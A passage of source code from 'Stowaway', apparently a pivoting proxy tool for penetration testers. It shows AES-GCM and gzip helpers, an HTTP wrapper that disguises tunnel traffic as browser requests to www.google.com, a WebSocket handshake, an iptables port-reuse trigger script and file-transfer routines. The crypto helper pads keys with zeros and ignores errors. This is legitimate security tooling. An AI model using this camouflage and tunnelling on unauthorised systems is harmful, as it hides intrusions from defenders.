24 | 	// if key < 32 bytes, pad it
25 | 	padding := 32 - keyLength
26 | 	padText := bytes.Repeat([]byte{byte(0)}, padding)
27 | 	return append(key, padText...)
28 | }
29 | 
30 | func genNonce(nonceSize int) []byte {
31 | 	nonce := make([]byte, nonceSize)
32 | 	io.ReadFull(rand.Reader, nonce)
33 | 	return nonce
34 | }
35 | 
36 | func AESDecrypt(cryptedData, key []byte) []byte {
37 | 	if key == nil {
38 | 		return cryptedData
39 | 	}
40 | 
41 | 	block, _ := aes.NewCipher(key)
42 | 	gcm, _ := cipher.NewGCM(block)
43 | 	nonceSize := gcm.NonceSize()
44 | 	nonce, cryptedData := cryptedData[:nonceSize], cryptedData[nonceSize:]
45 | 	origData, _ := gcm.Open(nil, nonce, cryptedData, nil)
46 | 	return origData
47 | }
48 | 
49 | func AESEncrypt(origData, key []byte) []byte {
50 | 	if key == nil {
51 | 		return origData
52 | 	}
53 | 
54 | 	block, _ := aes.NewCipher(key)
55 | 	gcm, _ := cipher.NewGCM(block)
56 | 	nonce := genNonce(gcm.NonceSize())
57 | 	return gcm.Seal(nonce, nonce, origData, nil)
58 | }
59 | 


--------------------------------------------------------------------------------
/crypto/gzip.go:
--------------------------------------------------------------------------------
 1 | package crypto
 2 | 
 3 | import (
 4 | 	"bytes"
 5 | 	"compress/gzip"
 6 | 	"io/ioutil"
 7 | )
 8 | 
 9 | // Thx to code from @lz520520
10 | func GzipCompress(src []byte) []byte {
11 | 	var in bytes.Buffer
12 | 	w := gzip.NewWriter(&in)
13 | 	w.Write(src)
14 | 	w.Close()
15 | 	return in.Bytes()
16 | }
17 | 
18 | func GzipDecompress(src []byte) []byte {
19 | 	dst := make([]byte, 0)
20 | 	br := bytes.NewReader(src)
21 | 	gr, err := gzip.NewReader(br)
22 | 	if err != nil {
23 | 		return dst
24 | 	}
25 | 	defer gr.Close()
26 | 	tmp, err := ioutil.ReadAll(gr)
27 | 	if err != nil {
28 | 		return dst
29 | 	}
30 | 	dst = tmp
31 | 	return dst
32 | }
33 | 


--------------------------------------------------------------------------------
/global/global.go:
--------------------------------------------------------------------------------
 1 | package global
 2 | 
 3 | import (
 4 | 	"net"
 5 | 
 6 | 	"Stowaway/protocol"
 7 | )
 8 | 
 9 | var G_TLSEnable bool
10 | var G_Component *protocol.MessageComponent
11 | 
12 | func InitialGComponent(conn net.Conn, secret, uuid string) {
13 | 	G_Component = &protocol.MessageComponent{
14 | 		Secret: secret,
15 | 		Conn:   conn,
16 | 		UUID:   uuid,
17 | 	}
18 | }
19 | 
20 | func UpdateGComponent(conn net.Conn) {
21 | 	G_Component.Conn = conn
22 | }
23 | 


--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
 1 | module Stowaway
 2 | 
 3 | go 1.13
 4 | 
 5 | require (
 6 | 	github.com/cheggaaa/pb v2.0.7+incompatible
 7 | 	github.com/davecgh/go-spew v1.1.1 // indirect
 8 | 	github.com/eiannone/keyboard v0.0.0-20200508000154-caf4b762e807
 9 | 	github.com/fatih/color v1.10.0
10 | 	github.com/gofrs/uuid v4.0.0+incompatible
11 | 	github.com/libp2p/go-reuseport v0.0.2
12 | 	github.com/nsf/termbox-go v1.1.0
13 | 	golang.org/x/crypto v0.0.0-20201012173705-84dcc777aaee
14 | 	golang.org/x/sys v0.0.0-20210104204734-6f8348627aad // indirect
15 | 	golang.org/x/text v0.3.0
16 | 	gopkg.in/VividCortex/ewma.v1 v1.1.1 // indirect
17 | 	gopkg.in/cheggaaa/pb.v2 v2.0.7 // indirect
18 | 	gopkg.in/fatih/color.v1 v1.7.0 // indirect
19 | 	gopkg.in/mattn/go-colorable.v0 v0.1.0 // indirect
20 | 	gopkg.in/mattn/go-isatty.v0 v0.0.4 // indirect
21 | 	gopkg.in/mattn/go-runewidth.v0 v0.0.4 // indirect
22 | )
23 | 


--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
 1 | github.com/cheggaaa/pb v2.0.7+incompatible h1:gLKifR1UkZ/kLkda5gC0K6c8g+jU2sINPtBeOiNlMhU=
 2 | github.com/cheggaaa/pb v2.0.7+incompatible/go.mod h1:pQciLPpbU0oxA0h+VJYYLxO+XeDQb5pZijXscXHm81s=
 3 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
 4 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
 5 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
 6 | github.com/eiannone/keyboard v0.0.0-20200508000154-caf4b762e807 h1:jdjd5e68T4R/j4PWxfZqcKY8KtT9oo8IPNVuV4bSXDQ=
 7 | github.com/eiannone/keyboard v0.0.0-20200508000154-caf4b762e807/go.mod h1:Xoiu5VdKMvbRgHuY7+z64lhu/7lvax/22nzASF6GrO8=
 8 | github.com/fatih/color v1.10.0 h1:s36xzo75JdqLaaWoiEHk767eHiwo0598uUxyfiPkDsg=
 9 | github.com/fatih/color v1.10.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
10 | github.com/gofrs/uuid v4.0.0+incompatible h1:1SD/1F5pU8p29ybwgQSwpQk+mwdRrXCYuPhW6m+TnJw=
11 | github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
12 | github.com/libp2p/go-reuseport v0.0.2 h1:XSG94b1FJfGA01BUrT82imejHQyTxO4jEWqheyCXYvU=
13 | github.com/libp2p/go-reuseport v0.0.2/go.mod h1:SPD+5RwGC7rcnzngoYC86GjPzjSywuQyMVAheVBD9nQ=
14 | github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8=
15 | github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
16 | github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY=
17 | github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
18 | github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0=
19 | github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
20 | github.com/nsf/termbox-go v1.1.0 h1:R+GIXVMaDxDQ2VHem5vO5h0mI8ZxLECTUNw1ZzXODzI=
21 | github.com/nsf/termbox-go v1.1.0/go.mod h1:T0cTdVuOwf7pHQNtfhnEbzHbcNyCEcVU4YPpouCbVxo=
22 | github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
23 | github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
24 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
25 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
26 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
27 | github.com/stretchr/testify v1.5.1 h1:nOGnQDM7FYENwehXlg/kFVnos3rEvtKTjRvOWSzb6H4=
28 | github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
29 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
30 | golang.org/x/crypto v0.0.0-20201012173705-84dcc777aaee h1:4yd7jl+vXjalO5ztz6Vc1VADv+S/80LGJmyl1ROJ2AI=
31 | golang.org/x/crypto v0.0.0-20201012173705-84dcc777aaee/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
32 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
33 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
34 | golang.org/x/sys v0.0.0-20190228124157-a34e9553db1e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
35 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
36 | golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
37 | golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
38 | golang.org/x/sys v0.0.0-20210104204734-6f8348627aad h1:MCsdmFSdEd4UEa5TKS5JztCRHK/WtvNei1edOj5RSRo=
39 | golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
40 | golang.org/x/text v0.3.0 h1:g61tztE5qeGQ89tm6NTjjM9VPIm088od1l6aSorWRWg=
41 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
42 | gopkg.in/VividCortex/ewma.v1 v1.1.1 h1:tWHEKkKq802K/JT9RiqGCBU5fW3raAPnJGTE9ostZvg=
43 | gopkg.in/VividCortex/ewma.v1 v1.1.1/go.mod h1:TekXuFipeiHWiAlO1+wSS23vTcyFau5u3rxXUSXj710=
44 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
45 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
46 | gopkg.in/cheggaaa/pb.v2 v2.0.7 h1:beaAg8eacCdMQS9Y7obFEtkY7gQl0uZ6Zayb3ry41VY=
47 | gopkg.in/cheggaaa/pb.v2 v2.0.7/go.mod h1:0CiZ1p8pvtxBlQpLXkHuUTpdJ1shm3OqCF1QugkjHL4=
48 | gopkg.in/fatih/color.v1 v1.7.0 h1:bYGjb+HezBM6j/QmgBfgm1adxHpzzrss6bj4r9ROppk=
49 | gopkg.in/fatih/color.v1 v1.7.0/go.mod h1:P7yosIhqIl/sX8J8UypY5M+dDpD2KmyfP5IRs5v/fo0=
50 | gopkg.in/mattn/go-colorable.v0 v0.1.0 h1:WYuADWvfvYC07fm8ygYB3LMcsc5CunpxfMGKawHkAos=
51 | gopkg.in/mattn/go-colorable.v0 v0.1.0/go.mod h1:BVJlBXzARQxdi3nZo6f6bnl5yR20/tOL6p+V0KejgSY=
52 | gopkg.in/mattn/go-isatty.v0 v0.0.4 h1:NtS1rQGQr4IaFWBGz4Cz4BhB///gyys4gDVtKA7hIsc=
53 | gopkg.in/mattn/go-isatty.v0 v0.0.4/go.mod h1:wt691ab7g0X4ilKZNmMII3egK0bTxl37fEn/Fwbd8gc=
54 | gopkg.in/mattn/go-runewidth.v0 v0.0.4 h1:r0P71TnzQDlNIcizCqvPSSANoFa3WVGtcNJf3TWurcY=
55 | gopkg.in/mattn/go-runewidth.v0 v0.0.4/go.mod h1:BmXejnxvhwdaATwiJbB1vZ2dtXkQKZGu9yLFCZb4msQ=
56 | gopkg.in/yaml.v2 v2.2.2 h1:ZCJp+EgiOT7lHqUV2J862kp8Qj64Jo6az82+3Td9dZw=
57 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
58 | 


--------------------------------------------------------------------------------
/img/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ph4ntonn/Stowaway/c22010f9a5166945c14b7ffacfb28fafbf938c78/img/logo.png


--------------------------------------------------------------------------------
/protocol/http.go:
--------------------------------------------------------------------------------
 1 | package protocol
 2 | 
 3 | // http.go is deprecated
 4 | // Just keep this for sample
 5 | 
 6 | import (
 7 | 	"fmt"
 8 | 	"io"
 9 | 
10 | 	"Stowaway/utils"
11 | )
12 | 
13 | type HTTPProto struct{}
14 | 
15 | type HTTPMessage struct {
16 | 	HTTPHeader []byte
17 | 	*RawMessage
18 | }
19 | 
20 | func (proto *HTTPProto) CNegotiate() error { return nil }
21 | 
22 | func (proto *HTTPProto) SNegotiate() error { return nil }
23 | 
24 | var partOne []string = []string{
25 | 	"POST /message/%s?number=%d&length=%d",
26 | 	"POST /uploads/%s?number=%d&length=%d",
27 | 	"POST /request/%s?number=%d&length=%d",
28 | 	"POST /hellowd/%s?number=%d&length=%d",
29 | }
30 | 
31 | func (message *HTTPMessage) ConstructHeader() {
32 | 	reqHeaderPartOne := partOne[utils.GetRandomInt(4)]
33 | 
34 | 	reqHeaderPartTwo := " HTTP/1.1\r\n" +
35 | 		"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36\r\n" +
36 | 		"Host: www.google.com\r\n" +
37 | 		"Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7\r\n" +
38 | 		"Accept-Encoding: gzip, deflate, br\r\n" +
39 | 		"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n" +
40 | 		"Content-Length: %d\r\n" +
41 | 		"\r\n"
42 | 
43 | 	dataLen := len(message.RawMessage.DataBuffer)
44 | 	headerLen := len(message.RawMessage.HeaderBuffer)
45 | 
46 | 	partTwoHeader := fmt.Sprintf(reqHeaderPartTwo, dataLen+headerLen)
47 | 	partTwoHeaderLen := len(partTwoHeader)
48 | 
49 | 	partOneHeader := fmt.Sprintf(reqHeaderPartOne, utils.GetRandomString(6), utils.GetDigitLen(partTwoHeaderLen), partTwoHeaderLen)
50 | 
51 | 	message.HTTPHeader = []byte(partOneHeader + partTwoHeader)
52 | }
53 | 
54 | func (message *HTTPMessage) DeconstructHeader() {
55 | 	uselessBuf := make([]byte, 28)
56 | 	io.ReadFull(message.RawMessage.Conn, uselessBuf)
57 | 
58 | 	numberBuf := make([]byte, 1)
59 | 	io.ReadFull(message.RawMessage.Conn, numberBuf)
60 | 
61 | 	number, _ := utils.Str2Int(string(numberBuf))
62 | 
63 | 	uselessBuf = make([]byte, 8)
64 | 	io.ReadFull(message.RawMessage.Conn, uselessBuf)
65 | 
66 | 	lengthBuf := make([]byte, number)
67 | 	io.ReadFull(message.RawMessage.Conn, lengthBuf)
68 | 
69 | 	length, _ := utils.Str2Int(string(lengthBuf))
70 | 
71 | 	contentBuf := make([]byte, length)
72 | 	io.ReadFull(message.RawMessage.Conn, contentBuf)
73 | }
74 | 
75 | func (message *HTTPMessage) SendMessage() {
76 | 	finalBuffer := append(message.HTTPHeader, message.HeaderBuffer...)
77 | 	finalBuffer = append(finalBuffer, message.DataBuffer...)
78 | 	message.RawMessage.Conn.Write(finalBuffer)
79 | 	// Don't forget to set both Buffer to nil!!!
80 | 	message.HeaderBuffer = nil
81 | 	message.DataBuffer = nil
82 | 	message.HTTPHeader = nil
83 | }
84 | 


--------------------------------------------------------------------------------
/protocol/websocket.go:
--------------------------------------------------------------------------------
  1 | package protocol
  2 | 
  3 | import (
  4 | 	"bytes"
  5 | 	"crypto/rand"
  6 | 	"crypto/sha1"
  7 | 	"encoding/base64"
  8 | 	"errors"
  9 | 	"fmt"
 10 | 	"io"
 11 | 	"net"
 12 | 	"regexp"
 13 | 	"strings"
 14 | 	"time"
 15 | )
 16 | 
 17 | // TODO: The WebSocket data frames still have some issues See: https://datatracker.ietf.org/doc/html/rfc6455#section-5.
 18 | // But in actual testing, the NGINX reverse proxy works fine. Let's temporarily enable it, and if any issues arise, we can make improvements later.
 19 | const websocketGUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"
 20 | const websocketPath = "/deadbeef"
 21 | 
 22 | type WSProto struct {
 23 | 	domain string
 24 | 	conn   net.Conn
 25 | 	*RawProto
 26 | }
 27 | 
 28 | func (proto *WSProto) CNegotiate() error {
 29 | 	defer proto.conn.SetReadDeadline(time.Time{})
 30 | 	proto.conn.SetReadDeadline(time.Now().Add(10 * time.Second))
 31 | 
 32 | 	nonce := generateNonce()
 33 | 	expectedAccept, err := getNonceAccept(nonce)
 34 | 	if err != nil {
 35 | 		return err
 36 | 	}
 37 | 
 38 | 	// 发送websocket头
 39 | 	wsHeaders := fmt.Sprintf(`GET %s HTTP/1.1
 40 | Host: %s
 41 | Upgrade: websocket
 42 | Connection: Upgrade
 43 | Sec-WebSocket-Key: %s
 44 | Origin: https://google.com
 45 | Sec-WebSocket-Version: 13
 46 | 
 47 | `, websocketPath, proto.domain, nonce)
 48 | 
 49 | 	wsHeaders = strings.ReplaceAll(wsHeaders, "\n", "\r\n")
 50 | 	proto.conn.Write([]byte(wsHeaders))
 51 | 
 52 | 	var ptr int
 53 | 	result := bytes.Buffer{}
 54 | 	buf := make([]byte, 1024)
 55 | 
 56 | 	for {
 57 | 		count, err := proto.conn.Read(buf)
 58 | 		if err != nil {
 59 | 			if err == io.EOF && count > 0 {
 60 | 				result.Write(buf[:count])
 61 | 			} else if timeoutErr, ok := err.(net.Error); ok && timeoutErr.Timeout() {
 62 | 				return err
 63 | 			}
 64 | 			break
 65 | 		}
 66 | 
 67 | 		if count > 0 {
 68 | 			result.Write(buf[ptr : ptr+count])
 69 | 			ptr += count
 70 | 			if bytes.HasSuffix(buf[:ptr], []byte("\r\n\r\n")) {
 71 | 				break
 72 | 			}
 73 | 		}
 74 | 	}
 75 | 
 76 | 	resp := result.String()
 77 | 	if !strings.Contains(resp, "Upgrade: websocket") ||
 78 | 		!strings.Contains(resp, "Connection: Upgrade") ||
 79 | 		!strings.Contains(resp, "Sec-WebSocket-Accept: "+string(expectedAccept)) {
 80 | 		return errors.New("not websocket protocol")
 81 | 	}
 82 | 
 83 | 	return nil
 84 | }
 85 | 
 86 | func (proto *WSProto) SNegotiate() error {
 87 | 	defer proto.conn.SetReadDeadline(time.Time{})
 88 | 	proto.conn.SetReadDeadline(time.Now().Add(10 * time.Second))
 89 | 
 90 | 	var ptr int
 91 | 	result := bytes.Buffer{}
 92 | 	buf := make([]byte, 1024)
 93 | 
 94 | 	for {
 95 | 		count, err := proto.conn.Read(buf)
 96 | 		if err != nil {
 97 | 			if err == io.EOF && count > 0 {
 98 | 				result.Write(buf[:count])
 99 | 			} else if timeoutErr, ok := err.(net.Error); ok && timeoutErr.Timeout() {
100 | 				return err
101 | 			}
102 | 			break
103 | 		}
104 | 
105 | 		if count > 0 {
106 | 			result.Write(buf[ptr : ptr+count])
107 | 			ptr += count
108 | 			if bytes.HasSuffix(buf[:ptr], []byte("\r\n\r\n")) {
109 | 				break
110 | 			}
111 | 		}
112 | 	}
113 | 
114 | 	re := regexp.MustCompile(`Sec-WebSocket-Key: (.*)`)
115 | 	tkey := re.FindStringSubmatch(strings.ReplaceAll(result.String(), "\r\n", "\n"))
116 | 	if len(tkey) < 2 {
117 | 		return errors.New("Sec-Websocket-Key is not in header")
118 | 	}
119 | 
120 | 	key := tkey[1]
121 | 	expectedAccept, err := getNonceAccept([]byte(key))
122 | 	if err != nil {
123 | 		return err
124 | 	}
125 | 
126 | 	respHeaders := fmt.Sprintf(`HTTP/1.1 101 Switching Protocols
127 | Connection: Upgrade
128 | Upgrade: websocket
129 | Sec-WebSocket-Accept: %s
130 | 
131 | `, expectedAccept)
132 | 
133 | 	respHeaders = strings.ReplaceAll(respHeaders, "\n", "\r\n")
134 | 	proto.conn.Write([]byte(respHeaders))
135 | 	return nil
136 | }
137 | 
138 | type WSMessage struct {
139 | 	*RawMessage
140 | }
141 | 
142 | func generateNonce() (nonce []byte) {
143 | 	key := make([]byte, 16)
144 | 	if _, err := io.ReadFull(rand.Reader, key); err != nil {
145 | 		panic(err)
146 | 	}
147 | 	nonce = make([]byte, 24)
148 | 	base64.StdEncoding.Encode(nonce, key)
149 | 	return
150 | }
151 | 
152 | func getNonceAccept(nonce []byte) (expected []byte, err error) {
153 | 	h := sha1.New()
154 | 	if _, err = h.Write(nonce); err != nil {
155 | 		return
156 | 	}
157 | 	if _, err = h.Write([]byte(websocketGUID)); err != nil {
158 | 		return
159 | 	}
160 | 	expected = make([]byte, 28)
161 | 	base64.StdEncoding.Encode(expected, h.Sum(nil))
162 | 	return
163 | }
164 | 


--------------------------------------------------------------------------------
/script/reuse.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python
 2 | # -*- coding: utf-8 -*-
 3 | 
 4 | import socket
 5 | import argparse
 6 | import sys
 7 | import hashlib
 8 | 
 9 | # eg: when start node like: ./linux_x64_agent --report 80 -l 10000 -s ph4ntom ,set SECRET = "ph4ntom"
10 | SECRET = "" # set SECRET as you secret key(-s option) ,if you do not set the -s option,just leave it like SECRET = ""
11 | 
12 | # Usage:
13 | # python reuse.py --start --rhost 192.168.1.2 --rport 80  Start the port reuse function
14 | # python reuse.py --stop --rhost 192.168.1.2 --rport 80 Stop the port reuse function
15 | 
16 | parser = argparse.ArgumentParser(description='start/stop iptables port reuse')
17 | parser.add_argument('--start', help='start port reusing', action='store_true')
18 | parser.add_argument('--stop', help='stop port reusing', action='store_true')
19 | parser.add_argument('--rhost', help='remote host', dest='ip')
20 | parser.add_argument('--rport', help='remote port', dest='port')
21 | 
22 | first_checkcode = hashlib.md5(SECRET.encode()).hexdigest()
23 | second_checkcode = hashlib.md5(first_checkcode.encode()).hexdigest()
24 | final_checkcode = first_checkcode[:24] + second_checkcode[:24]
25 | 
26 | START_PORT_REUSE = final_checkcode[16:32]
27 | STOP_PORT_REUSE = final_checkcode[32:]
28 | 
29 | options = parser.parse_args()    
30 | 
31 | data = ""
32 | 
33 | if options.start:
34 |     data = START_PORT_REUSE
35 | elif options.stop:
36 |     data = STOP_PORT_REUSE
37 | else:
38 |     parser.print_help()
39 |     sys.exit(0)
40 | 
41 | try:
42 |     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
43 |     s.settimeout(2)
44 |     s.connect((options.ip, int(options.port)))
45 |     s.send(data.encode())
46 | except:
47 |     print("[*] Cannot connect to target")
48 | 
49 | try:
50 |     s.recv(1024)
51 | except:
52 |     pass
53 | 
54 | s.close()
55 | 
56 | print("[*] Done!")


--------------------------------------------------------------------------------
/share/file.go:
--------------------------------------------------------------------------------
  1 | package share
  2 | 
  3 | import (
  4 | 	"fmt"
  5 | 	"io"
  6 | 	"os"
  7 | 	"runtime"
  8 | 
  9 | 	"Stowaway/global"
 10 | 	"Stowaway/protocol"
 11 | )
 12 | 
 13 | const (
 14 | 	ADMIN = iota
 15 | 	AGENT
 16 | 	// status
 17 | 	START
 18 | 	ADD
 19 | 	DONE
 20 | )
 21 | 
 22 | type MyFile struct {
 23 | 	FileName   string
 24 | 	FilePath   string
 25 | 	FileSize   int64
 26 | 	SliceSize  int64
 27 | 	SliceNum   uint64
 28 | 	ErrChan    chan bool
 29 | 	DataChan   chan []byte
 30 | 	StatusChan chan *Status
 31 | 	Handler    *os.File
 32 | }
 33 | 
 34 | type Status struct {
 35 | 	Stat  int
 36 | 	Scale int64
 37 | }
 38 | 
 39 | func NewFile() *MyFile {
 40 | 	file := new(MyFile)
 41 | 	file.SliceSize = 30720
 42 | 	file.ErrChan = make(chan bool)
 43 | 	file.DataChan = make(chan []byte)
 44 | 	file.StatusChan = make(chan *Status, 10) // Give buffer,make sure file transmitting won't be blocked when passing Status to admin
 45 | 	return file
 46 | }
 47 | 
 48 | func (file *MyFile) SendFileStat(route string, targetUUID string, identity int) error {
 49 | 	var err error
 50 | 	var sMessage protocol.Message
 51 | 	if identity == ADMIN {
 52 | 		sMessage = protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
 53 | 	} else {
 54 | 		sMessage = protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
 55 | 	}
 56 | 
 57 | 	statHeader := &protocol.Header{
 58 | 		Sender:      global.G_Component.UUID,
 59 | 		Accepter:    targetUUID,
 60 | 		MessageType: protocol.FILESTATREQ,
 61 | 		RouteLen:    uint32(len([]byte(route))),
 62 | 		Route:       route,
 63 | 	}
 64 | 
 65 | 	downHeader := &protocol.Header{
 66 | 		Sender:      global.G_Component.UUID,
 67 | 		Accepter:    targetUUID,
 68 | 		MessageType: protocol.FILEDOWNRES,
 69 | 		RouteLen:    uint32(len([]byte(route))),
 70 | 		Route:       route,
 71 | 	}
 72 | 
 73 | 	defer func() {
 74 | 		if err != nil && identity == AGENT {
 75 | 			fileDownResMess := &protocol.FileDownRes{
 76 | 				OK: 0,
 77 | 			}
 78 | 			protocol.ConstructMessage(sMessage, downHeader, fileDownResMess, false)
 79 | 			sMessage.SendMessage()
 80 | 		}
 81 | 	}()
 82 | 
 83 | 	fileHandler, err := os.Open(file.FilePath)
 84 | 	if err != nil {
 85 | 		return err
 86 | 	}
 87 | 	file.Handler = fileHandler
 88 | 
 89 | 	fileInfo, err := fileHandler.Stat()
 90 | 	if err != nil {
 91 | 		fileHandler.Close()
 92 | 		return err
 93 | 	}
 94 | 
 95 | 	file.FileSize = fileInfo.Size()
 96 | 	fileSliceNum := file.FileSize / file.SliceSize
 97 | 	remain := file.FileSize % file.SliceSize
 98 | 	if remain != 0 {
 99 | 		fileSliceNum++
100 | 	}
101 | 
102 | 	fileStatReqMess := &protocol.FileStatReq{
103 | 		FilenameLen: uint32(len([]byte(file.FileName))),
104 | 		Filename:    file.FileName,
105 | 		FileSize:    uint64(file.FileSize),
106 | 		SliceNum:    uint64(fileSliceNum),
107 | 	}
108 | 
109 | 	protocol.ConstructMessage(sMessage, statHeader, fileStatReqMess, false)
110 | 	sMessage.SendMessage()
111 | 
112 | 	return nil
113 | }
114 | 
115 | func (file *MyFile) CheckFileStat(route string, targetUUID string, identity int) error {
116 | 	var err error
117 | 	var sMessage protocol.Message
118 | 
119 | 	if identity == ADMIN {
120 | 		sMessage = protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
121 | 	} else {
122 | 		sMessage = protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
123 | 	}
124 | 
125 | 	header := &protocol.Header{
126 | 		Sender:      global.G_Component.UUID,
127 | 		Accepter:    targetUUID,
128 | 		MessageType: protocol.FILESTATRES,
129 | 		RouteLen:    uint32(len([]byte(route))),
130 | 		Route:       route,
131 | 	}
132 | 
133 | 	fileStatResSuccMess := &protocol.FileStatRes{
134 | 		OK: 1,
135 | 	}
136 | 
137 | 	fileStatResFailMess := &protocol.FileStatRes{
138 | 		OK: 0,
139 | 	}
140 | 
141 | 	defer func() {
142 | 		if err != nil {
143 | 			protocol.ConstructMessage(sMessage, header, fileStatResFailMess, false)
144 | 			sMessage.SendMessage()
145 | 		}
146 | 	}()
147 | 
148 | 	fileHandler, err := os.Create(file.FileName)
149 | 	if err != nil {
150 | 		return err
151 | 	}
152 | 
153 | 	file.Handler = fileHandler
154 | 
155 | 	protocol.ConstructMessage(sMessage, header, fileStatResSuccMess, false)
156 | 	sMessage.SendMessage()
157 | 
158 | 	return nil
159 | }
160 | 
161 | func (file *MyFile) Upload(route string, targetUUID string, identity int) {
162 | 	var sMessage protocol.Message
163 | 	if identity == ADMIN {
164 | 		sMessage = protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
165 | 	} else {
166 | 		sMessage = protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
167 | 	}
168 | 
169 | 	dataHeader := &protocol.Header{
170 | 		Sender:      global.G_Component.UUID,
171 | 		Accepter:    targetUUID,
172 | 		MessageType: protocol.FILEDATA,
173 | 		RouteLen:    uint32(len([]byte(route))),
174 | 		Route:       route,
175 | 	}
176 | 
177 | 	errHeader := &protocol.Header{
178 | 		Sender:      global.G_Component.UUID,
179 | 		Accepter:    targetUUID,
180 | 		MessageType: protocol.FILEERR,
181 | 		RouteLen:    uint32(len([]byte(route))),
182 | 		Route:       route,
183 | 	}
184 | 
185 | 	fileErrMess := &protocol.FileErr{
186 | 		Error: 1,
187 | 	}
188 | 
189 | 	if identity == ADMIN {
190 | 		fmt.Println("\n[*] File transmitting, please wait...")
191 | 		file.StatusChan <- &Status{Stat: START}
192 | 	}
193 | 
194 | 	buffer := make([]byte, 30720)
195 | 
196 | 	defer func() {
197 | 		if identity == ADMIN {
198 | 			file.StatusChan <- &Status{Stat: DONE}
199 | 		}
200 | 		runtime.GC()
201 | 		file.Handler.Close()
202 | 	}()
203 | 
204 | 	for {
205 | 		length, err := file.Handler.Read(buffer)
206 | 		if err != nil && err != io.EOF {
207 | 			protocol.ConstructMessage(sMessage, errHeader, fileErrMess, false)
208 | 			sMessage.SendMessage()
